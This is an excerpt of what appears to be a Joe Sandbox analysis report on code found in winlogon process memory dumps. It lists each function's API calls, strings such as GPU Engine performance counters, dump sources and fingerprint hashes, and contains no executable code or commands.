FreeLibrary.KERNEL32(?,?,00000000,000001CA7D21F2CD), ref: 000001CA7D21F11A
GetProcAddress.KERNEL32(?,?,00000000,000001CA7D21F2CD), ref: 000001CA7D21F126

Strings

ext-ms-, xrefs: 000001CA7D21F02E
AppPolicyGetProcessTerminationMethod, xrefs: 000001CA7D21F157, 000001CA7D21F165
api-ms-, xrefs: 000001CA7D21F01B

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Library$LoadProtectVirtual$AddressErrorFreeLastProc
String ID: AppPolicyGetProcessTerminationMethod$api-ms-$ext-ms-
API String ID: 740688525-1880043860
Opcode ID: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction ID: 841100cd2b18d10c7530346504741f059c760433718e5c958d51dca8c66ea59f
Opcode Fuzzy Hash: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction Fuzzy Hash: 79518F33B4170851FA169B56A800BE57250BF48BB8FD88729AE3D073D4DF3AD54686C7

Function 000001CA7D2933A8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 000001CA7D2933FD
GetProcessHeap.KERNEL32 ref: 000001CA7D293412
HeapAlloc.KERNEL32 ref: 000001CA7D293420
PdhGetCounterInfoW.PDH ref: 000001CA7D293436
StrCmpW.SHLWAPI ref: 000001CA7D29344B

Part of subcall function 000001CA7D293950: StrCmpNW.SHLWAPI ref: 000001CA7D293972
Part of subcall function 000001CA7D293950: StrStrW.SHLWAPI ref: 000001CA7D293990
Part of subcall function 000001CA7D293950: StrToIntW.SHLWAPI ref: 000001CA7D2939B7

GetProcessHeap.KERNEL32 ref: 000001CA7D293488
HeapFree.KERNEL32 ref: 000001CA7D293496

Strings

\GPU Engine(*)\Running Time, xrefs: 000001CA7D293444

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction ID: 43c5e0d34ebc6dccf3a439a469952983112bd81c68c9bea665965f379fc87005
Opcode Fuzzy Hash: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction Fuzzy Hash: A431A033E44B4896F722CF12E804B9AB3A0FBC8B9AF8505259E4957624DF39C45787C2

Function 000001CA7D2133A8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 000001CA7D2133FD
GetProcessHeap.KERNEL32 ref: 000001CA7D213412
HeapAlloc.KERNEL32 ref: 000001CA7D213420
PdhGetCounterInfoW.PDH ref: 000001CA7D213436
StrCmpW.SHLWAPI ref: 000001CA7D21344B

Part of subcall function 000001CA7D213950: StrCmpNW.SHLWAPI ref: 000001CA7D213972
Part of subcall function 000001CA7D213950: StrStrW.SHLWAPI ref: 000001CA7D213990
Part of subcall function 000001CA7D213950: StrToIntW.SHLWAPI ref: 000001CA7D2139B7

GetProcessHeap.KERNEL32 ref: 000001CA7D213488
HeapFree.KERNEL32 ref: 000001CA7D213496

Strings

\GPU Engine(*)\Running Time, xrefs: 000001CA7D213444

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction ID: 752b222f9f1cd9264d68c2c53bbe3c21249311e990f53d32d649b7497d1e9cf2
Opcode Fuzzy Hash: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction Fuzzy Hash: 1A31E933E44B5896F722CF12A404B99B391FB88B98FC48528AD4843624DF3AD44383C6

Function 000001CA7D1E33A8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 000001CA7D1E33FD
GetProcessHeap.KERNEL32 ref: 000001CA7D1E3412
HeapAlloc.KERNEL32 ref: 000001CA7D1E3420
PdhGetCounterInfoW.PDH ref: 000001CA7D1E3436
StrCmpW.SHLWAPI ref: 000001CA7D1E344B

Part of subcall function 000001CA7D1E3950: StrCmpNW.SHLWAPI ref: 000001CA7D1E3972
Part of subcall function 000001CA7D1E3950: StrStrW.SHLWAPI ref: 000001CA7D1E3990
Part of subcall function 000001CA7D1E3950: StrToIntW.SHLWAPI ref: 000001CA7D1E39B7

GetProcessHeap.KERNEL32 ref: 000001CA7D1E3488
HeapFree.KERNEL32 ref: 000001CA7D1E3496

Strings

\GPU Engine(*)\Running Time, xrefs: 000001CA7D1E3444

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction ID: 5256ce4443abd153758bcd99e98d7bf0abd56920327f9ba419e77a24a63d0f90
Opcode Fuzzy Hash: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction Fuzzy Hash: C231C433E40B4996F722CF12E804B99B3A0FB88FCAF840614AE4943665DF39C555C382

Function 000001CA7D2934B8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 000001CA7D293516
GetProcessHeap.KERNEL32 ref: 000001CA7D293527
HeapAlloc.KERNEL32 ref: 000001CA7D293535
PdhGetCounterInfoW.PDH ref: 000001CA7D29354B
StrCmpW.SHLWAPI ref: 000001CA7D293560

Part of subcall function 000001CA7D293950: StrCmpNW.SHLWAPI ref: 000001CA7D293972
Part of subcall function 000001CA7D293950: StrStrW.SHLWAPI ref: 000001CA7D293990
Part of subcall function 000001CA7D293950: StrToIntW.SHLWAPI ref: 000001CA7D2939B7

GetProcessHeap.KERNEL32 ref: 000001CA7D29358D
HeapFree.KERNEL32 ref: 000001CA7D29359B

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 000001CA7D293559

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction ID: 5c16f09041be8b645f9990b675969fbfe91f0a43291d9b19f9330004a6e2f389
Opcode Fuzzy Hash: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction Fuzzy Hash: 1C31A233A44B4986F712DF22A444B9A73A0FBC8F99F844024DE4A57724DE39D446C3C2

Function 000001CA7D2134B8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 000001CA7D213516
GetProcessHeap.KERNEL32 ref: 000001CA7D213527
HeapAlloc.KERNEL32 ref: 000001CA7D213535
PdhGetCounterInfoW.PDH ref: 000001CA7D21354B
StrCmpW.SHLWAPI ref: 000001CA7D213560

Part of subcall function 000001CA7D213950: StrCmpNW.SHLWAPI ref: 000001CA7D213972
Part of subcall function 000001CA7D213950: StrStrW.SHLWAPI ref: 000001CA7D213990
Part of subcall function 000001CA7D213950: StrToIntW.SHLWAPI ref: 000001CA7D2139B7

GetProcessHeap.KERNEL32 ref: 000001CA7D21358D
HeapFree.KERNEL32 ref: 000001CA7D21359B

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 000001CA7D213559

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction ID: 01238701deea32749901f043c41a85233535f38141b80a811341c7053083115b
Opcode Fuzzy Hash: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction Fuzzy Hash: 9D31B433A44B4996F712DF12A444B9973A1BF88F98F858129DE4A43724DF3AE44782C3

Function 000001CA7D1E34B8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 000001CA7D1E3516
GetProcessHeap.KERNEL32 ref: 000001CA7D1E3527
HeapAlloc.KERNEL32 ref: 000001CA7D1E3535
PdhGetCounterInfoW.PDH ref: 000001CA7D1E354B
StrCmpW.SHLWAPI ref: 000001CA7D1E3560

Part of subcall function 000001CA7D1E3950: StrCmpNW.SHLWAPI ref: 000001CA7D1E3972
Part of subcall function 000001CA7D1E3950: StrStrW.SHLWAPI ref: 000001CA7D1E3990
Part of subcall function 000001CA7D1E3950: StrToIntW.SHLWAPI ref: 000001CA7D1E39B7

GetProcessHeap.KERNEL32 ref: 000001CA7D1E358D
HeapFree.KERNEL32 ref: 000001CA7D1E359B

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 000001CA7D1E3559

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction ID: 8eab24d6d6144954bd2ca5cd0d15ee39b50dab67e5137aa515f9043b1a9d6d94
Opcode Fuzzy Hash: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction Fuzzy Hash: 07318433A50B4986F712DF12E854B9973E1BF84F9AF8440259E4A43724DF39D542C782

Function 000001CA7D29A22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001CA7D29A289

Part of subcall function 000001CA7D29B144: __GetUnwindTryBlock.LIBCMT ref: 000001CA7D29B187
Part of subcall function 000001CA7D29B144: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001CA7D29B1AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001CA7D29A361
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001CA7D29A5AF
std::bad_alloc::bad_alloc.LIBCMT ref: 000001CA7D29A6BC

Strings

csm, xrefs: 000001CA7D29A2A3
csm, xrefs: 000001CA7D29A30A
csm, xrefs: 000001CA7D29A384

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction ID: e25051ce7f45a5f54960e9841c87e8732a799f56ae8f5b22f7c45591229d7051
Opcode Fuzzy Hash: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction Fuzzy Hash: CCD1CE33A447888AFB62CF2495407DD37A4FB4979DF901105EA8967B99CB35C482C7C3

Function 000001CA7D21A22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001CA7D21A289

Part of subcall function 000001CA7D21B144: __GetUnwindTryBlock.LIBCMT ref: 000001CA7D21B187
Part of subcall function 000001CA7D21B144: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001CA7D21B1AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001CA7D21A361
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001CA7D21A5AF
std::bad_alloc::bad_alloc.LIBCMT ref: 000001CA7D21A6BC

Strings

csm, xrefs: 000001CA7D21A30A
csm, xrefs: 000001CA7D21A2A3
csm, xrefs: 000001CA7D21A384

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction ID: 93558ce561f458a496548046fa9771a477e4b847544d87466bd0439cd31ff69d
Opcode Fuzzy Hash: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction Fuzzy Hash: B2D1AC33A447888AFB62CB659540BDD77A0FB4578CF908119EA8957B96CB36C482C7C3

Function 000001CA7D1EA22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001CA7D1EA289

Part of subcall function 000001CA7D1EB144: __GetUnwindTryBlock.LIBCMT ref: 000001CA7D1EB187
Part of subcall function 000001CA7D1EB144: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001CA7D1EB1AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001CA7D1EA361
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001CA7D1EA5AF
std::bad_alloc::bad_alloc.LIBCMT ref: 000001CA7D1EA6BC

Strings

csm, xrefs: 000001CA7D1EA384
csm, xrefs: 000001CA7D1EA30A
csm, xrefs: 000001CA7D1EA2A3

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction ID: 9fc1314c1b3568874932ff714da4d78103fade56a62ede063e1102c62ff8e334
Opcode Fuzzy Hash: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction Fuzzy Hash: E8D18B73A447888AFB22DF659540BDD7BA0FB4979DF900205EE8957B96CB35C480C783

Function 000001CA7D1B962C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001CA7D1B9689

Part of subcall function 000001CA7D1BA544: __GetUnwindTryBlock.LIBCMT ref: 000001CA7D1BA587
Part of subcall function 000001CA7D1BA544: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001CA7D1BA5AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001CA7D1B9761
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001CA7D1B99AF
std::bad_alloc::bad_alloc.LIBCMT ref: 000001CA7D1B9ABC

Strings

csm, xrefs: 000001CA7D1B9784
csm, xrefs: 000001CA7D1B96A3
csm, xrefs: 000001CA7D1B970A

Memory Dump Source

Source File: 0000000F.00000003.1645690785.000001CA7D1B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001CA7D1B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_1ca7d1b0000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction ID: db454895896c66f2aae9d4fb35f949d79ab27abdbeef052a67be09c4d4be01c7
Opcode Fuzzy Hash: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction Fuzzy Hash: E8D17C33A44B488AFB629F65D480BED77A0FB45B8CF900115EA8D57B96DB35C082C783

Function 000001CA7D29104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001CA7D2910B1
RegEnumValueW.ADVAPI32 ref: 000001CA7D291117
GetProcessHeap.KERNEL32 ref: 000001CA7D29115A
HeapAlloc.KERNEL32 ref: 000001CA7D291168
GetProcessHeap.KERNEL32 ref: 000001CA7D291185
HeapFree.KERNEL32 ref: 000001CA7D291193

Strings

d, xrefs: 000001CA7D2910D6

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction ID: 2003d48ef077ee33f5376efef2558062a00fd4140dc90c64e07b1c00940d858d
Opcode Fuzzy Hash: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction Fuzzy Hash: 6541B133614B84DAF761CF22E44479E77A1F788B89F808119DA890B758DF3DC44ACB92

Function 000001CA7D21104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001CA7D2110B1
RegEnumValueW.ADVAPI32 ref: 000001CA7D211117
GetProcessHeap.KERNEL32 ref: 000001CA7D21115A
HeapAlloc.KERNEL32 ref: 000001CA7D211168
GetProcessHeap.KERNEL32 ref: 000001CA7D211185
HeapFree.KERNEL32 ref: 000001CA7D211193

Strings

d, xrefs: 000001CA7D2110D6

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction ID: 8a4b5a10e027ae3e9ee44e0ca111a6274b15f8be53a4c776a450907aef51b4fb
Opcode Fuzzy Hash: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction Fuzzy Hash: 9A41A133614B88C6F761CF21E44479EB7A1F788B98F848119EA8907758DF3ED446CB92

Function 000001CA7D1E104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001CA7D1E10B1
RegEnumValueW.ADVAPI32 ref: 000001CA7D1E1117
GetProcessHeap.KERNEL32 ref: 000001CA7D1E115A
HeapAlloc.KERNEL32 ref: 000001CA7D1E1168
GetProcessHeap.KERNEL32 ref: 000001CA7D1E1185
HeapFree.KERNEL32 ref: 000001CA7D1E1193

Strings

d, xrefs: 000001CA7D1E10D6

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction ID: 6f63e4c53f789b41bcef94283b1f03cc38c3850ef35568dd7831dedf23a81aa2
Opcode Fuzzy Hash: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction Fuzzy Hash: 9A41D073614B84CAF761CF21E404B9E77A1F788B89F808129DA8947758DF39C585CB82

Function 000001CA7D292518 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001CA7D29252D
GetCurrentProcessId.KERNEL32 ref: 000001CA7D292537
CreateFileW.KERNEL32 ref: 000001CA7D292568
WriteFile.KERNEL32 ref: 000001CA7D292590
ReadFile.KERNEL32 ref: 000001CA7D2925AF
CloseHandle.KERNEL32 ref: 000001CA7D2925B8

Strings

